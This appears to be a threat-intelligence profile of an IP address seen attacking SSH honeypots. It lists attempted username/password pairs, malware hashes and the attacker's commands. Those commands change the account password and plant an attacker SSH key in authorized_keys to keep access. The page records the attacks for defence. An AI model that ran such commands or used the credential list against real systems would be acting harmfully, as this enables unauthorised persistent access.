⚠TROYANOSYVIRUS
Active Threat • MEDIUM

164.68.116.116

Country of Origin🇫🇷 France
First Detection2/23/2026
Last Activity2/23/2026
ISPContabo GmbH
🎯
6101
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
5
Malware

Geolocation

Country
🇫🇷 France
City
Lauterbourg
ASN
AS51167
ISP
Contabo GmbH

Attack Types

cowrie

Attacked Ports

22

Associated Malware

1997bb826546a233bc26...→1fb3dd3396571a462ccf...→36d77c353b2447399af9...→7d483fcd6c6e0a3c3108...→deeb0da9e4fe1a844bc5...→

Attempted Credentials

🔐root/112233
1x
🔐developer/123456
1x
🔐linuxuser/linuxuser123
1x
🔐root/Abc12345
1x
🔐mina/mina
1x
🔐vladymyr/vladymyr
1x
🔐elsa/elsa
1x
🔐vscode/123456
1x
🔐henry/henry
1x
🔐root/!qaz@wsx
1x
🔐mia/mia
1x
🔐matrix/matrix
1x
🔐root/1qw23e
1x
🔐root/qwertyASDFGHzxcvbn
1x
🔐linuxuser/123456
1x

Executed Commands

$if [ [ ! -d ${HOME}/.ssh ] ]4x
$nproc4x
$fi4x
$then3x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "XmhqTPYn\nXmhqTPYn" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "66TlZ87L\n66TlZ87L" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "noah\nU2tOdImy\nU2tOdImy" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffC1x
$arch_info=$(uname -m); cpu_count=$(nproc); echo -e "hECz5kpz\nhECz5kpz" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPk1x
$uname -m1x

Risk Assessment

50
/100
LowMediumHighCritical